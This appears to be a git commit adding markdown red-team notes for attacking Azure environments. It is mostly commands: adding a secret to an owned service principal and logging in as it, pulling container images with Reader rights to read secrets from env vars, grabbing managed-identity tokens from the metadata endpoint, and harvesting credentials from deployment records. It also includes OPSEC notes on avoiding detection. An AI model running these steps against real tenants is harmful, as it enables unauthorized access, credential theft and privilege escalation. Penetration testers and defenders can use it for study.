first commit
This commit is contained in:
@@ -0,0 +1,18 @@
|
||||
- General
|
||||
- `Get-AzWebApp` `Get-AzWebApp | Select EnabledHostNames`
|
||||
- Gather information on web applications
|
||||
- Also extracted with `Get-AzDomainInfo` in MicroBurst - \\Resources\\AppServices.csv
|
||||
- Function Apps
|
||||
- Check to see if source code/config files are available
|
||||
- Service Principal exploitation
|
||||
- PowerZure
|
||||
- `Get-AzureAppOwner`
|
||||
- Determine if current user is assigned as the owner of a service principal
|
||||
- `Add-AzureSPSecret -ApplicationName customapp -Password myPassword456`
|
||||
- Can now authenticate as this service principal with this password and explore its permissions
|
||||
- Note Tenant/App ID in output
|
||||
- OPSEC NOTE: Azure AD audit logs will record these events with the activity type of "Update application – Certificates and secrets management".
|
||||
- `az login --service-principal --username APP_ID --password myPassword456 --tenant TENANT_ID`
|
||||
- Authenticate using Azure CLI as service principal
|
||||
- `az role assignment list --assignee APP_ID --include-groups --include-inherited --query '[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'`
|
||||
- Determine role assignment of service principal
|
||||
@@ -0,0 +1,30 @@
|
||||
- Reader permissions can pull container images
|
||||
- Authenticate as Reader
|
||||
- `az login -u readeruser@<DOMAIN> -p myPassword123`
|
||||
- List container registries - note the name
|
||||
- `az acr list -o table`
|
||||
- Generate a Docker login and connect to the registry
|
||||
- `acr=ACR_NAME`
|
||||
- `loginserver=$(az acr login -n $acr --expose-token --query loginServer -o tsv)`
|
||||
- `accesstoken=$(az acr login -n $acr --expose-token --query accessToken -o tsv)`
|
||||
- `docker login $loginserver -u 00000000-0000-0000-0000-000000000000 -p $accesstoken`
|
||||
- List images in the container registry
|
||||
- `az acr repository list -n $acr`
|
||||
- Enumerate versions by listing tags for an image
|
||||
- `az acr repository show-tags -n $acr --repository nodeapp-web`
|
||||
- Note registry credentials in session
|
||||
- `echo $loginserver`
|
||||
- `echo $accesstoken`
|
||||
- Open a PowerShell console as Administrator and set variables (if necessary based on Windows version)
|
||||
- `$loginserver="<LOGIN_SERVER>"`
|
||||
- `$accesstoken="<ACCESS_TOKEN>"`
|
||||
- Login to Docker from PowerShell
|
||||
- ` docker login $loginserver -u 00000000-0000-0000-0000-000000000000 -p $accesstoken`
|
||||
- Pull the image
|
||||
- `docker pull $loginserver/nodeapp-web:v1`
|
||||
- Examine the image for sensitive information (list env vars)
|
||||
- `docker container run --rm $loginserver/nodeapp-web:v1 env`
|
||||
- Login with found credentials via Azure CLI
|
||||
- `az login --service-principal --username APP_ID --password SECRET_KEY --tenant TENANT_ID`
|
||||
- Check role assignment and scope
|
||||
- `az role assignment list --assignee APP_ID --include-groups --include-inherited --query '[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'`
|
||||
@@ -0,0 +1,2 @@
|
||||
- [Abusing dynamic groups in Azure AD for privilege escalation (mnemonic.io)](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)
|
||||
- In brief, look for dynamic groups that assign membership based on parameters that users have control over
|
||||
@@ -0,0 +1,27 @@
|
||||
- Enumerating with Reader permissions
|
||||
- Simply log in to the Azure portal and view all resources/export to CSV
|
||||
- PowerZure
|
||||
- Importing the Module will display current role, permissions, and available subscriptions
|
||||
- OPSEC NOTE: There are detections in Azure Security Center for this as well as MicroBurst
|
||||
- `Get-AzureTargets`
|
||||
- Compares the user role to the Azure scope to enumerate attack surface area
|
||||
- MicroBurst
|
||||
- `Get-AzDomainInfo -Verbose -Folder microburst-output`
|
||||
- Generates an entire directory dump full of all available info on all of the Azure subscriptions to which the user has access
|
||||
- If environment is very large, disable some of the information using the boolean options
|
||||
- Review Azure instance metadata (from the instance itself)
|
||||
- `curl -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance?api-version=2020-09-01" | jq`
|
||||
- Check for a managed identity
|
||||
- `curl -H Metadata:true -s 'http://169.254.169.254/metadata/identity/oauth2/ token?api-version=2018-02-01&resource=https%3A%2F%2Fmanag ement.azure.com%2F' | jq`
|
||||
- Resulting token can be used to interact with the Azure REST APIs. Can also be used with MicroBurst to gather key vault secrets and storage account keys
|
||||
- Credential Harvesting
|
||||
- Check previous deployments for resource groups
|
||||
- Look for misconfigured parameter types - passwords set as "String" instead of "SecureString"
|
||||
- Check deployment output sections - can include sensitive values and even "SecureString" values in cleartext
|
||||
- `Get-AzDomainInfo` in MicroBurst gathers all this deployment info; check Development\\Resources\\Deployments.txt for creds
|
||||
- Managed Identities - can have elevated permissions in environment
|
||||
- `appid=$(az resource list --query "[?name=='\<resource name\>'].identity.principalId" --output tsv)`
|
||||
- Retrieve resource information and cast to the "appid" variable
|
||||
- `az role assignment list --assignee $appid --include-groups --include-inherited --query'[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'`
|
||||
- List role assigments, specifying role name, principal name, type, and scope
|
||||
- Can also be done with the REST API
|
||||
Reference in New Issue
Block a user